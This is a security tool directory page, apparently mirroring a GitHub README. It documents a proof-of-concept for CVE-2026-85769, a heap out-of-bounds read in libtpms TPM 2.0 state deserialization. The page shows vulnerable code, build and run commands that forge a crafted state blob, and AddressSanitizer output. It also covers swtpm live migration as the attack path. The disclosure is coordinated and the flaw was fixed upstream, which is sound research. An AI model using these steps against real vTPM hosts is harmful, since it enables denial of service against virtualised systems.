Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-85769 — Proof-of-concept exploit for CVE-2026-85769, a heap out-of-bounds read in libtpms TPM 2.0 state deserialization, demonstrating denial of service via crafted state blob. | Kitploit
工具/GitHubGitHub/isukasanuj/cve-2026-85769
Embedded Systems SecurityVulnerability AnalysisExploitationFuzzingHardware SecurityBinary Analysis
GitHubisukasanuj/cve-2026-85769

CVE-2026-85769

Proof-of-concept exploit for CVE-2026-85769, a heap out-of-bounds read in libtpms TPM 2.0 state deserialization, demonstrating denial of service via crafted state blob.

查看仓库
2206天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-85769

Heap out-of-bounds read in libtpms TPM 2.0 volatile-state deserialization.

An unbounded optional-block skip in block_skip_read() advances the unmarshal cursor by an attacker-controlled 16-bit length and drives the signed remaining-size counter negative. Every downstream bounds check then passes, because they cast that signed value to unsigned. A forged, self-checksummed volatile-state blob fed through TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) produces a heap out-of-bounds read and aborts the process hosting libtpms — swtpm, in a vTPM deployment.

CVECVE-2026-85769
Componentsrc/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c
CWECWE-125 ← CWE-191 (Integer Underflow) + CWE-195 (Signed-to-Unsigned Conversion)
Affectedmaster f7f072b2, v0.10.2 03ff2481, and earlier releases carrying this code
Fixed9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613)
CVSS 3.1AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate)
Reported2026-09-01, privately to the maintainer

Root cause

block_skip_read() skips an optional versioned block by advancing the parse cursor, without checking the length against the bytes remaining:

root@kitploit:~
} else if (has_block && !needs_block) {
    /* byte stream has the data but we don't need them */
    *buffer += blocksize;      /* blocksize is a UINT16 from the blob */
    *size   -= blocksize;      /* *size is INT32 — goes negative */
    *skip_code = TRUE;
}

*size is signed. Once negative, the guard in front of every scalar read stops working:

root@kitploit:~
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
root@kitploit:~
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2  ->  false        /* guard passes */

The further past the allocation the parse runs, the more negative *size becomes — and the larger it looks unsigned. The same file already has the correct form in Array_Unmarshal, which compares signed.

The only integrity gate is an unkeyed SHA-1 appended to the blob (src/tpm2/Volatile.c), so the PoC recomputes it after tampering.

Attack surface

Reached through TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) and the power-on restore chain TPMLIB_MainInit → _TPM_Init → VolatileLoad.

In an swtpm deployment the relevant path is live migration — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, driven by libvirt. The destination host parses a state blob produced on the source host. A configured --migration-key does not mitigate this: the key is shared between both hosts, so a compromised source holds it and produces a blob that decrypts correctly. It defends against an interposed third party, not against a hostile peer.

Build

root@kitploit:~
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967   # v0.10.2, or ba73ab17 for pre-fix master

./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
    CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
    LDFLAGS='-fsanitize=address'
make -j4

gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto

Run

root@kitploit:~
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0

# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin

# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610

# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0

8610 is sized so the cursor lands in ASan's redzone rather than on a wild pointer:

root@kitploit:~
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610

Offset 173 is the has_block byte of the ORDERLY_DATA skip_future_versions trailer. It was located by instrumenting block_skip_read() to print the offset during a parse, not by counting bytes — the offset shifts with the state format, so re-derive it if your blob length differs from 8778.

Note that skip_self_heal_timer is not a usable trailer: ACCUMULATE_SELF_HEAL_TIMER YES in TpmBuildSwitches.h means it is emitted with needs_block = TRUE and takes the safe branch.

Result

root@kitploit:~
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
    #0 in UINT16_Unmarshal           tpm2/Unmarshal.c:71
    #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
    #2 in NV_HEADER_Unmarshal        tpm2/NVMarshal.c:453
    #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
    #4 in VolatileState_Unmarshal    tpm2/NVMarshal.c:3431
    #5 in VolatileState_Load         tpm2/Volatile.c:81
    #6 in TPM2_SetState              src/tpm_tpm2_interface.c:820
    #7 in TPMLIB_SetState            src/tpm_library.c:222

0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)

The fault surfaces in UINT16_Unmarshal, not in block_skip_read — the skip advances the cursor and returns without reading. The corruption lands on the next structure read.

Against the fixed commit, every attack case returns TPM_RC_INSUFFICIENT (0x9a) with no ASan report, and valid blobs still restore with rc=0.

Impact

Denial of service of the process hosting libtpms, plus undefined behaviour.

Information disclosure was tested and ruled out. Small overshoots on a non-ASan build return TPM_RC_BAD_TAG (0x1e) every time:

root@kitploit:~
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000

The read immediately after the overshoot is an NV_HEADER, whose 32-bit magic must match a fixed constant. Adjacent heap satisfies that with p ≈ 2⁻³². The parse aborts, ClearAllCachedState() discards everything, and no out-of-bounds bytes reach TPMLIB_GetState. Confidentiality is therefore C:N. Red Hat's review reached the same conclusion independently.

Timeline

Credit

Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)

Notes

This PoC is published after the issue was fixed upstream and the CVE was assigned. It targets a local build of an open-source library and does nothing beyond triggering the parse. Only test what you are authorised to test.

License

MIT

下载工具
Date
2026-09-01Reported privately to the libtpms maintainer
2026-09-04Same root cause reported publicly and independently by Leyao (ICT CAS) as libtpms issue #614
2026-09-04Fixed upstream in 9e1475ff (PR #613); fix verified against this PoC
2026-09-04Reported to Red Hat Product Security
2026-09-04CVE-2026-85769 assigned